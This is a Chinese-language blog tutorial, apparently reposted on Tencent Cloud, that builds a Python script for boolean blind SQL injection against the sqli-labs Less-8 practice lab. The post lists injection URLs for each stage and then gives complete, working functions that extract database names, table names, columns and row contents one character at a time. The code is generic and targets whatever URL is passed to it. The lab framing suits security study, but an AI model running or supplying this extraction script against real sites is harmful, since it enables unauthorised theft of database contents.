前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >用python写一个自动化盲注脚本

用python写一个自动化盲注脚本

作者头像
雪痕@
发布于 2021-11-09 08:55:34
发布于 2021-11-09 08:55:34
2.1K00
代码可运行
举报
文章被收录于专栏:代码审计代码审计
运行总次数:0
代码可运行
前言

当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行猜解。如果手工进行猜解,这就会有很大的工作量。所以这里就使用python写一个自动化脚本来进行猜解,靶场选择的是sqli-labs的第八关。 参考资料:《python安全攻防》

和盲注相关的payload

写脚本之前需要对盲注流程有一个了解。这样写脚本时,思路才不会乱。这里用sqli-labs的第八关举例。具体如下:

获取数据库长度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(length(database())=8,1,0) %23

获取数据库名

substr:字符串截取函数,第一位截取,截取一位

连起来就是,截取数据库名第一位,并判断第一位的ascii值,是否等于115,如果为正确,直接返回。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr(database(),1,1))=115,1,0) %23

获取数据库表的数量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select count(*)table_name from information_schema.tables where table_schema='security')=4,1,0) %23

获取数据库表名称的长度

要注意limit,第一个参数的意思是从第几行开始,最低是0,第二个参数是截取几行。这里1是一行的意思。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select LENGTH(table_name) from information_schema.tables where table_schema='security' limit 1,1)=8,1,0) %23

获取数据库表名

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,0) %23

获取表的字段数量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select count(column_name) from information_schema.cloumns where table_schema='security' and table_name='users')=3,1,0) %23

获取字段的长度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select length(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)=2,1,0) %23

获取表的字段

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,1,0) %23

获取字段数据的数量

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select count(username) from users)=13,1,0) %23

获取字段数据的长度

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if((select length(username) from users limit 0,1)=4,1,0) %23

获取字段数据

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1/sql/Less-8/?id=1' and if (ascii(substr((select username from users limit 0,1),1,1))=68,1,0) %23
盲注脚本相关函数讲解

首先编写主函数,用来调用各个函数,代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#盲注主函数

def StartSqli(url):
    GetDBName(url)
    print("[+]当前数据库名:{0}".format(DBName))
    GetDBTables(url,DBName)
    print("[+] 数据库 {0} 的表如下:".format(DBName))
    for item in range(len(DBTables)):
        print("(" + str(item + 1 ) + ")" + DBTables[item])
    tableIndex = int(input("[*] 请输入要查看的表的序号 :")) - 1
    GetDBColumns(url,DBName,DBTables[tableIndex])
    while True:
        print("[+] 数据表 {0} 的字段如下:".format(DBTables[tableIndex]))
        for item in range(len(DBColumns)):
            print("(" + str(item + 1) + ")" + DBColumns[item])
        columnIndex = int(input("[*] 请输入 要查看的字段的序号(输入0退出):")) - 1
        if(columnIndex == -1):
            break
        else:
            GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])

接着,我们需要获取数据库名,最后得到的结果存入DBName

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取数据库名函数
def GetDBName(url):
    #引用全局变量DBName
    global DBName
    print("[-] 开始获取数据库的长度")
    #保存数据库长度的变量
    DBNameLen = 0
    #用于检查数据库长度的payload
    payload =  "' and if(length(database())={0},1,0) %23 "
    #把url和payload进行拼接,得到最终请求url
    targetUrl = url + payload
    print(targetUrl)
    #用for循环遍历请求,得到数据库名的长度
    for DBNameLen in range(1,99):
        #对payload的中的参数进行赋值猜解
        res = conn.get(targetUrl.format(DBNameLen))
        #判断flag是否在返回的页面中
        if flag in res.content.decode("utf-8"):
            print('进来了吗')
            print("[+] 数据库名的长度:"+ str(DBNameLen))
            break
    print("[-] 开始获取数据库名")
    #获取数据库名的payload
    payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
    targetUrl = url + payload
    #a表示substr()函数的截取位置
    for a in range(1,DBNameLen+1):
        #b表示在ascii码中33126 位可显示的字符
        for b in range(33,127):
            res = conn.get(targetUrl.format(a,b))
            if flag in res.content.decode("utf-8"):
                DBName += chr(b)
                print("[-]" + DBName)
                break

获取数据库名的效果如下图

当我们得到数据库名时,就可以去猜解表名。并把结果以列表形式存入DBTables

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取数据库表函数
def GetDBTables(url, dbname):
    global DBTables
    #存放数据库表数量的变量
    DBTableCount = 0
    print("[-] 开始获取 {0} 数据库表数量:".format(dbname))
    #获取数据库表数量的payload
    payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
    targetUrl = url + payload
    #开始遍历获取数据库表的数量
    for DBTableCount in range(1,99):
        res = conn.get(targetUrl.format(dbname,DBTableCount))
        if flag in res.content.decode("utf-8"):
            print("[+]{0}数据库中表的数量为:{1}".format(dbname,DBTableCount))
            break
    print("[-]开始获取{0}数据库的表".format(dbname))
    #遍历表名时临时存放表名长度的变量
    tableLen = 0
    #a表示当前正在获取表的索引
    for a in range(0,DBTableCount):
        print("[-]正在获取第{0}个表名".format(a+1))
        #先获取当前表名的长度
        for tableLen in range(1,99):
            payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,a,tableLen))
            if flag in res.content.decode("utf-8"):
                break
        #开始获取表名
        #临时存放当前表名的变量
        table = ""
        #b表示当前表名猜解的位置(substr)
        for b in range(1,tableLen+1):
            payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
            targetUrl = url + payload
            # c 表示在ascii码中33126位可显示字符
            for c in range(33,127):
                res = conn.get(targetUrl.format(dbname,a,b,c))
                if flag in res.content.decode("utf-8"):
                    table +=chr(c)
                    print(table)
                    break
        #把获取到的表名加入DBTables
        DBTables.append(table)
        #清空table,用来继续获取下一个表名
        table = ""

获取数据库表名的效果如下:

根据上面获取到的数据库名,表名,接着来获取表的字段。并把结果以列表的形式存入DBColumns

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取数据库表字段的函数
def GetDBColumns(url,dbname,dbtable):
    global DBColumns
    #存放字段数量的变量
    DBColumnCount = 0
    print("[-] 开始获取{0}数据表的字段数:".format(dbtable))
    for DBColumnCount in range(99):
        payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0} 数据表的字段数为:{1}".format(dbtable,DBColumnCount))
            break
     #开始获取字段的名称
     #保存字段名的临时变量
    column = ""
    # a 表示当前获取字段的索引
    for a in range(0,DBColumnCount):
        print("[-]正在获取第{0} 个字段名".format(a+1))
        #先获取字段的长度
        for columnLen in range(99):
            payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
            if flag in res.content.decode("utf-8"):
                break
        #b表示当前字段名猜解的位置
        for b in range(1,columnLen+1):
                payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                #c 表示在ascii表的33126位可显示字符
                for c in range(33,127):
                    res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
                    if flag in res.content.decode("utf-8"):
                        column += chr(c)
                        print(column)
                        break
                #把获取到的字段加入DBCloumns
        DBColumns.append(column)
        #清空column,用来继续获取下一个字段名
        column = ""

获取表的字段效果如下:

然后,就可以获取到数据了。根据获取的URL,数据库表名和数据表字段来获取数据。数据以字典形式存放,键为字段名,值为数据形成的列表。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#获取表字段的函数
def GetDBData(url,dbtable,dbcolumn):
    global DBData
    #先获取字段的数据数量
    DBDataCount = 0
    print("[-]开始获取 {0} 表 {1} 字段的数据数量".format(dbtable,dbcolumn))
    for DBDataCount in range(99):
        payload = "' and if((select count({0}) from {1})={2},1,0) %23"
        targetUrl = url + payload
        res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
        if flag in res.content.decode("utf-8"):
            print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable,dbcolumn,DBDataCount))
            break
    for a in range(0,DBDataCount):
        print("[-] 正在获取{0} 的 第{1} 个数据".format(dbcolumn,a+1))
        #先获取这个数据的长度
        dataLen = 0
        for dataLen in range(99):
            payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
            targetUrl = url + payload
            res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
            if flag in res.content.decode("utf-8"):
                print("[-]第{0}个数据长度为:{1}".format(a+1,dataLen))
                break
        #临时存放数据内容变量
        data = ""
        #开始获取数据具体内容
        #b表示当前数据内容的猜解的位置
        for b in range(1,dataLen+1):
            for c in range(33,127):
                payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
                targetUrl = url + payload
                res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
                if flag in res.content.decode("utf-8"):
                    data +=chr(c)
                    print(data)
                    break
        #放到以字段名为健,值为列表的字典中
        DBData.setdefault(dbcolumn,[]).append(data)
        print(DBData)
        #把data清空,继续获取下一个数据
        data = ""

获取数据的效果如下:

最后,编写主函数,传入URL

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#入口,主函数
if __name__ == '__main__':
    parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
    #目标URL参数 -u
    parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL')
    (options,args) = parser.parse_args()
    StartSqli(options.targetURL)
小结

关于盲注的自动化脚本就写这么多,如有错误请斧正。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-11-03 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
sql盲注的学习
这几天在学习sql注入的有关内容,今天记录一下我认为比较重要的部分,即sql盲注,我一开始学习的时候看到了好多的函数,看着看着就弄混了,相信不少新入门的师傅也有类似的困惑,经过多番心理斗争,我终于决定将这部分知识好整理一下,同时也给大家分享一下我在学习过程中编写的几个自动注入脚本,也欢迎各位师傅的指点和斧正。
安恒网络空间安全讲武堂
2019/09/28
8320
sql-labs-less8|SQL注入,脚本注入
此篇为sql-labs系列less-8,这一关使用脚本盲注,使用的sql语句跟第五关差不多,脚本写的比较烂,我也是第一次写,很基础,如果你也不会写的话可以参考一下。
TenG
2020/10/28
1.2K0
sql-labs-less8|SQL注入,脚本注入
SQL布尔盲注自动化脚本的实现 - wuuconix's blog
很久以前做过布尔盲注的题目,但是当时用的是网上的代码,跑出来flag了也是一知半解,没有收获。
wuuconix
2023/01/30
7610
用Python自定义打造的时间盲注脚本
推荐一个自带很多web的入门练习虚拟机--webug,网上有资源,如果嫌大可以找Johnson。 最近johnson在测试webug上的一个时间盲注的时候,就想着自己写一个脚本。 访问页面是这样的:
企鹅号小编
2018/01/04
1.3K0
用Python自定义打造的时间盲注脚本
SQL注入常用姿势
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
用户11062199
2024/05/30
1330
注入学习之sqli-labs-5(第四次)
前言 第七关先跳过,先把get注入系列讲完再来讲 不知道大家有没有玩过一个猜数字的游戏 我给出一个数的范围,比如1-100,然后你去猜,我只会回答你对或者错。 然后你会怎么猜呢?(假设要猜的这个数是 75) 很简单 先猜大于50,我会回答对,么这个数的范围就是50-100 再猜小于80,我会回答对,那么这个数的范围就是50-80 再猜小于70,我会回答错,那么这个数的范围就是70-80 就是这样一步步缩小范围,最后得出正确的值。 0x01 原理分析 同样的原理,我们用在这节的课程上 这节讲的是sql盲注 与
用户1467662
2018/03/29
8190
sql-labs-less26a|sql注入(脚本)
本关为sql-labs系列less26a,此系列持续更新,前面的关卡可以查看我前面的文章,本关使用bool盲注的方法用脚本跑,如有错误的地方欢迎师傅指正。
TenG
2020/10/28
1.1K0
sql-labs-less26a|sql注入(脚本)
sql-labs-less15/less16|SQL注入|脚本时间注入
这一关为sql-labs系列第15关和第16关,这里我使用的是sql时间盲注(用脚本跑),跟第9关使用的方法差不多,只是传参的写法不一样,涉及到的sql语法可以参考第9关sql-labs-less9/less10|脚本SQL时间盲注,有错误的地方欢迎大佬指正。
TenG
2020/10/28
1.5K0
sql-labs-less15/less16|SQL注入|脚本时间注入
Sqli_labs65关通关详解(上)
Less-1 这个题目是基于错误,单引号,字符型注入, http://127.0.0.1/sqli/Less-1/?id=1' //报错 http://127.0.0.1/sqli/Less-
安恒网络空间安全讲武堂
2018/02/06
1.8K0
Sqli_labs65关通关详解(上)
sql-labs-less9/less10|脚本SQL时间盲注
此系列为sql-labs第9关和第10关,两关差别不大,这一关使用sql时间盲注的方法,写脚本进行注入,前面的关卡没有用过时间盲注,所以这一关讲的比较详细,如果错误的地方还请大佬指正!
TenG
2020/10/28
2.1K1
SQLi_Labs通关文档【1-65关】
为了不干扰自己本机环境,sql-lab我就用的docker跑起来的,搭建也非常简单,也就两条命令
HACK学习
2019/08/05
4K1
sqli-labs通关笔记(1-30)
sqli-labs是一款练习sql注入的著名靶场。而造成SQL注入的原因是服务器端未严格校验客户端发送的数据,而导致服务端SQL语句被恶意修改并成功执行的行为 称为SQL注入。通过本文将sqli-la
逍遥子大表哥
2022/04/15
2.2K0
sqli-labs通关笔记(1-30)
1.3.1-SQL注入-SQL盲注-布尔盲注
这里我们可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”和“假”来识别我们的判断是否正确,这既是布尔盲注!
tea9
2022/07/16
6170
1.3.1-SQL注入-SQL盲注-布尔盲注
sql注入盲注高级技巧
对于sql盲注,常用的方法应该是二分法,如果是windows平台的话dnslog会是一种奇招,对于个人对盲注的理解,猜解需要大量时间和过多的经验,那么有没有一种比较不错的方式来进行盲注来达到快速又流程话的工作呢?这时候我会使用到burpsuite
黑伞安全
2019/10/16
1.7K0
sql注入盲注高级技巧
基于时间的盲注python脚本
  时间盲注就是在页面进行SQL注入并执行后,前端页面无法回显注入的信息。此时,我们可以利用sleep()函数来控制延迟页面返回结果的时间,进而判断注入的SQL语句是否正确,这个过程称之为时间盲注。但如果手工进行注入的话,过程是非常频繁且耗时的,为了提高效率,我们需要编写自动化脚本替我们去完成这些注入工作。
LuckySec
2022/11/02
1.9K0
SQL注入(入门)
收到请求的后端PHP代码会将GET方式传入的id=1与前面的SQL查询语句进行拼接,最后传给执行MySQL的查询语句如下:
Andromeda
2022/10/27
2K0
SQL注入(入门)
sql-labs-less27/less27a/less28/less28a|sql注入
本关为sql-labs系列less27、less27a、less28以及less28a,此系列持续更新,前面的关卡可以查看我前面的文章,如有错误的地方欢迎师傅指正。
TenG
2020/10/28
1.1K0
sql-labs-less27/less27a/less28/less28a|sql注入
(SQL盲注)[极客大挑战 2019]FinalSQL
和之前的靶机差不多,也是一个登录框,但是多了几个按钮,标出来的局子也提醒了是通过sql盲注
Gh0st1nTheShel
2022/02/18
1.8K0
【PTE-day04 SQL注入盲注】
在sql拼接中,单引号闭合,井号注释后面的语句,导致修改密码的时候修改的是admin的密码
samRsa
2023/11/17
2520
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
4K0
SQL注入从入门到进阶
相关推荐
sql盲注的学习
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验